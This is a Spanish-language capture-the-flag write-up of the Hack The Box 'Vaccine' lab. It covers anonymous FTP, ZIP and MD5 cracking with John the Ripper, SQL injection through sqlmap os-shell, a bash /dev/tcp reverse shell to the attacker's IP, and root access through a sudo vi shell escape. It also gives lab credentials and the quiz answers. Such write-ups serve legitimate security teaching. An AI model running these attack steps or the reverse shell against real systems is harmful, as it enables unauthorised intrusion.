HTB – Vaccine

⭐ Vaccine – Hack The Box Write-up ⭐

HTB Difficulty OS Category


Propiedad Valor
Dificultad Media
SO Linux
IP 10.129.x.x
Categoría Hack The Box – Tier 2
Etiquetas FTP Anonymous, ZIP Cracking, John the Ripper, MD5, SQL Injection, PostgreSQL, sqlmap, RCE, SSH, Sudo, Vi

Resumen

Vaccine es una máquina Linux de Hack The Box centrada principalmente en la enumeración, cracking de contraseñas, SQL Injection y escalada de privilegios.

Durante la enumeración inicial encontramos un servicio FTP que permitía acceso anónimo. En él se encontraba un archivo backup.zip protegido mediante contraseña.
Utilizando John the Ripper conseguimos crackear la contraseña del ZIP y acceder a su contenido.

Dentro del backup encontramos el código fuente de la aplicación web, donde se encontraba un hash MD5 correspondiente a la contraseña del usuario admin.
Tras crackear este hash obtuvimos las credenciales necesarias para acceder al panel web.

Una vez autenticados, descubrimos que el parámetro search era vulnerable a SQL Injection. Utilizando sqlmap identificamos PostgreSQL como
sistema de base de datos y conseguimos ejecución de comandos mediante --os-shell.

La ejecución de comandos nos permitió acceder inicialmente como el usuario postgres. Posteriormente encontramos las credenciales de PostgreSQL en
el código de la aplicación y pudimos conectarnos mediante SSH.

Finalmente, mediante sudo -l descubrimos que el usuario postgres podía ejecutar vi como root. Aprovechando la capacidad de vi para
ejecutar comandos del sistema, conseguimos una shell como root y obtuvimos la flag final.


Conceptos Clave

  • Enumeración de servicios
  • Acceso anónimo mediante FTP
  • Cracking de archivos ZIP protegidos
  • John the Ripper
  • Cracking de hashes MD5
  • Autenticación web
  • SQL Injection
  • PostgreSQL
  • Stacked Queries
  • Ejecución remota de comandos
  • sqlmap
  • Reverse Shell
  • SSH
  • Sudo misconfiguration
  • Privilege Escalation mediante vi

Flujo del Ataque

  1. Enumeración de puertos y servicios
  2. Descubrimiento de FTP en el puerto 21
  3. Acceso anónimo al servidor FTP
  4. Descarga de backup.zip
  5. Obtención del hash del ZIP con zip2john
  6. Cracking del ZIP mediante John the Ripper
  7. Extracción de los archivos del backup
  8. Descubrimiento del hash MD5 del usuario admin
  9. Cracking del hash MD5
  10. Acceso al panel web
  11. Descubrimiento de SQL Injection en search
  12. Explotación mediante sqlmap
  13. Obtención de OS Shell
  14. Acceso como postgres
  15. Descubrimiento de credenciales de PostgreSQL
  16. Acceso mediante SSH
  17. Enumeración de privilegios mediante sudo -l
  18. Abuso de vi ejecutado como root
  19. Obtención de una shell como root
  20. Obtención de la root flag

Comprobación de Conectividad

Comenzamos comprobando que la máquina objetivo es accesible:

ping 10.129.x.x

Enumeración

Escaneo de Puertos

Utilizamos Nmap para identificar los puertos abiertos y detectar los servicios y versiones:

nmap -sCV -q 10.129.x.x
Escaneamos para ver los puertos abiertos con Nmap
Escaneamos para ver los puertos abiertos con Nmap

El escaneo mostró tres servicios principales:

Puerto Servicio Información
21 FTP vsftpd 3.0.3
22 SSH OpenSSH 8.0p1
80 HTTP Apache 2.4.41

El resultado de Nmap también confirmó que el servidor FTP permite acceso anónimo:

ftp-anon: Anonymous FTP login allowed

Acceso Anónimo mediante FTP

Nos conectamos al servicio FTP:

ftp 10.129.x.x

Utilizamos el usuario:

anonymous

Una vez dentro, enumeramos el contenido:

ls

Encontramos:

backup.zip

Descargamos el archivo:

get backup.zip

El archivo estaba protegido mediante contraseña.

Ubicamos y descargamos el archivo a nuestro equipo local
Ubicamos y descargamos el archivo a nuestro equipo local

Cracking del Archivo ZIP

Generación del Hash

John the Ripper incluye la herramienta zip2john, que permite extraer la información
necesaria del archivo ZIP y convertirla a un formato que John pueda utilizar para realizar el cracking.

zip2john backup.zip > hash.txt
Generamos el hash
Generamos el hash

Comprobamos que el hash se ha creado correctamente

Comprobamos que el hash se ha creado correctamente
Comprobamos que el hash se ha creado correctamente

Posteriormente utilizamos el diccionario rockyou.txt:

john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

La contraseña obtenida fue:

741852963
Lanzamos John con el diccionario Rockyou
Lanzamos John con el diccionario Rockyou

Podemos comprobarla extrayendo el ZIP:

unzip backup.zip
Descomprimimos el archivo
Descomprimimos el archivo

El archivo contenía:

  • index.php
  • style.css

Descubrimiento de Credenciales

Al revisar index.php encontramos la lógica de autenticación:

if($_POST['username'] === 'admin' && md5($_POST['password']) === "2cb42f8734ea607eefed3b70af13bbd3")
Encontramos la contraseña para el usuario admin
Encontramos la contraseña para el usuario admin

El uso de la función:

md5($_POST['password'])

indica que la contraseña del usuario admin está almacenada como un hash MD5.

Guardamos el hash y utilizamos John the Ripper:

john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt admin_hash.txt
Creamos el archivo para guardar el hash
Creamos el archivo para guardar el hash

Utilizamos John the Ripper para realizar un ataque de diccionario contra el hash MD5, recuperando la contraseña original en texto plano.

Obtenemos la contraseña con John the Ripper
Obtenemos la contraseña con John

Obtuvimos la contraseña:

qwerty789

Credenciales:

admin:qwerty789

Acceso al Panel Web

Utilizamos las credenciales obtenidas para iniciar sesión en la aplicación web.

Accedemos a la aplicación web empleando usuario y contraseña que hemos obtenido
Accedemos a la aplicación web empleando usuario y contraseña que hemos obtenido

Una vez autenticados, encontramos un campo de búsqueda:

Search

Al realizar una búsqueda, observamos que el parámetro aparece directamente en la URL:

http://10.129.x.x/dashboard.php?search=test

Identificación de SQL Injection

Probamos una comilla simple:

http://10.129.x.x/dashboard.php?search=%27
Encontramos el parámetro search en la URL
Encontramos el parámetro search en la URL y probamos con comilla simple

El servidor respondió con un error de PostgreSQL:

ERROR: unterminated quoted string at or near "'"

Este comportamiento indica que el valor introducido está siendo incorporado directamente
en una consulta SQL.

El código encontrado posteriormente en dashboard.php confirma la vulnerabilidad:

$q = "Select * from cars where name ilike '%". $_REQUEST["search"] ."%'";
Mensaje de error tras poner comilla
Mensaje de error tras poner comilla

El parámetro search se concatena directamente dentro de la consulta SQL sin utilizar
consultas parametrizadas.


Explotación mediante sqlmap

Como la aplicación requiere autenticación, utilizamos la cookie de sesión que la podemos encontrar en las herramientas de desarrollador del navegador
PHPSESSID.

Encontramos la cookie de sesión en las herramientas de desarrollador del navegador
Encontramos la cookie de sesión en las herramientas de desarrollador del navegador

Ejecutamos:

sqlmap -u "http://10.129.x.x/dashboard.php?search=test" --cookie="PHPSESSID=<SESSION_ID>" --os-shell --batch
Lanzamos SQLmap
Lanzamos sqlmap

Durante las pruebas, sqlmap identificó PostgreSQL como el sistema de gestión de bases de datos.

Entre los tipos de inyección identificados encontramos:

  • Boolean-based blind
  • Error-based
  • Stacked queries
  • Time-based blind

Uno de los resultados más importantes fue:

PostgreSQL > 8.1 stacked queries

sqlmap consiguió posteriormente utilizar el mecanismo:

COPY ... FROM PROGRAM ...

para obtener ejecución de comandos en el sistema operativo.

Finalmente obtuvimos:

os-shell>
Hallazgos con sqlmap
Hallazgos con sqlmap

Adicionalmente, si lanzamos sqlmap con el parámetro help, también obtenemos información sobre os-shell

Con sqlmap obtenemos informacion sobre os-shell
Con sqlmap obtenemos informacion sobre os-shell

Reverse Shell

Desde el os-shell conseguimos ejecutar comandos en el sistema como el usuario
postgres.

Para obtener una shell interactiva utilizamos una reverse shell hacia nuestra máquina Kali.

En Kali iniciamos el listener:

nc -lvnp 443
Listener en el puerto 443
Listener en el puerto 443

Y desde el os-shell ejecutamos:

bash -c "bash -i >& /dev/tcp/10.10.14.39/443 0>&1"
Comando en os-shell
Comando en os-shell

La conexión nos proporcionó una shell como:

postgres@vaccine:/var/lib/postgresql/11/main$
Obtenemos la reverse shell
Obtenemos la reverse shell

La reverse shell inicial no disponía de una TTY completa, por lo que algunas operaciones, como sudo, no funcionaban correctamente.

En lugar de continuar con la estabilización de la reverse shell, utilizamos las credenciales encontradas en la aplicación para conectarnos directamente mediante SSH.


Credenciales de PostgreSQL

Al revisar /var/www/html/dashboard.php encontramos las credenciales utilizadas por la aplicación para conectarse a PostgreSQL:

$conn = pg_connect("host=localhost port=5432 dbname=carsdb user=postgres password=P@s5w0rd!");
Encontramos el archivo donde está la contraseña
Encontramos el archivo dashboard.php donde está la contraseña
El archivo contiene la contraseña
El archivo contiene la contraseña

Credenciales obtenidas:

postgres:P@s5w0rd!

Acceso mediante SSH

Utilizamos las credenciales para acceder directamente mediante SSH:

ssh postgres@10.129.x.x
Nos conectamos via SSH usando la contraseña encontrada
Nos conectamos via SSH usando la contraseña encontrada

Encontramos que el programa que el usuario postgres puede ejecutar como root utilizando sudo es vi

Vi es el programa que el usuario postgres puede ejecutar
Vi es el programa que el usuario postgres puede ejecutar como root utilizando sudo

Una vez autenticados, comprobamos el contenido del directorio:

ls

Encontramos la flag de usuario:

user.txt

La flag de usuario se obtuvo mediante:

cat user.txt
Encontramos la flag de usuario
Encontramos la flag de usuario

User flag obtenida.


Escalada de Privilegios

Enumeración de Sudo

Comprobamos qué comandos puede ejecutar el usuario postgres mediante sudo:

sudo -l

El sistema mostró:

(ALL) /bin/vi /etc/postgresql/11/main/pg_hba.conf

Esto significa que postgres puede ejecutar el editor vi con privilegios
de root.


Abuso de Vi

Ejecutamos:

sudo /bin/vi /etc/postgresql/11/main/pg_hba.conf

Esto abre vi con privilegios de root.

No necesitamos modificar el archivo pg_hba.conf.

Dentro de vi, utilizamos:

:!bash

El comando :! permite ejecutar comandos del sistema desde el editor.
Al ejecutar bash, obtenemos una shell con los privilegios con los que se
está ejecutando vi.

Como vi fue ejecutado mediante sudo, la shell obtenida tiene privilegios
de root.

Comprobamos nuestra identidad:

whoami

Resultado:

root

También podemos observar el prompt:

root@vaccine:/var/lib/postgresql#

Esto confirma que la escalada de privilegios ha sido exitosa.

Escalada de privilegios tras modificar archivo
Escalada de privilegios mediante vi

Obtención de la Root Flag

Una vez obtenida la shell como root, accedemos al directorio /root:

cd /root

Enumeramos su contenido:

ls

Finalmente leemos:

cat root.txt

Root flag obtenida con éxito.

Obtenemos la flag de root
Obtenemos la flag de root
Máquina Vaccine de Hack The Box resuelta
Máquina Vaccine de Hack The Box resuelta

Preguntas de Hack The Box

# Pregunta Respuesta
1 Besides SSH and HTTP, what other service is hosted on this box? FTP
2 What username can be configured to allow login with any password? anonymous
3 What is the name of the file downloaded over this service? backup.zip
4 What script generates a crackable hash from a password-protected ZIP? zip2john
5 What is the password for the admin user? qwerty789
6 What option can be passed to sqlmap to try to get command execution via SQL Injection? –os-shell
7 What program can the postgres user run as root using sudo? vi

Herramientas Utilizadas

Categoría Herramientas
Reconocimiento ping, nmap, navegador
Enumeración nmap, FTP, enumeración manual web
Credential Access zip2john, John the Ripper, rockyou.txt
Explotación SQL Injection, sqlmap, –os-shell
Remote Access SSH, Netcat
Privilege Escalation sudo, vi, Bash
Post-Explotación Linux commands, filesystem enumeration

Vulnerabilidades y Técnicas

Vulnerabilidad / Técnica Descripción
Anonymous FTP El servicio FTP permite acceso anónimo y expone un archivo de backup.
Password-Protected Backup El archivo backup.zip contiene información sensible protegida únicamente mediante una contraseña débil.
Weak Password / Hash Cracking John the Ripper permite recuperar contraseñas mediante ataques de diccionario.
SQL Injection El parámetro search se concatena directamente en una consulta SQL vulnerable.
Command Execution La SQL Injection permite utilizar sqlmap para obtener ejecución de comandos en el sistema.
Sudo Misconfiguration El usuario postgres puede ejecutar vi como root.
Vi Shell Escape La función :!bash de vi permite obtener una shell con los privilegios de root.

Lecciones Clave

  • La enumeración de servicios es fundamental antes de intentar explotar una máquina.
  • El acceso FTP anónimo puede exponer información sensible.
  • Los archivos de backup deben protegerse adecuadamente.
  • Las contraseñas débiles pueden recuperarse mediante ataques de diccionario.
  • Los hashes MD5 no deben utilizarse para almacenar contraseñas.
  • Las consultas SQL deben utilizar consultas parametrizadas.
  • Las credenciales almacenadas directamente en el código fuente pueden comprometer otros servicios.
  • Las reglas de sudo deben limitarse estrictamente a las acciones necesarias.
  • Los editores como vi pueden permitir escapes hacia una shell.
  • Una mala configuración de sudo puede convertirse directamente en una escalada a root.

Conclusión

Vaccine demuestra cómo varias vulnerabilidades y malas prácticas aparentemente independientes
pueden encadenarse hasta conseguir un compromiso completo del sistema.

El ataque comienza con una configuración insegura de FTP que permite acceder anónimamente a un
backup. El cracking del archivo permite descubrir credenciales web, que posteriormente permiten
acceder a una aplicación vulnerable a SQL Injection.

La SQL Injection proporciona ejecución de comandos y acceso inicial como postgres.
A continuación, unas credenciales expuestas en el código de la aplicación permiten obtener acceso
SSH estable.

Finalmente, una configuración incorrecta de sudo permite ejecutar vi como
root y escapar hacia una shell privilegiada.

Resultado: compromiso completo de la máquina y obtención de las flags de usuario y root.


⚠️ Aviso Legal

Este contenido es exclusivamente educativo.

Todas las pruebas fueron realizadas en un laboratorio controlado de
Hack The Box.

No utilices estas técnicas contra sistemas, aplicaciones o redes sin autorización explícita.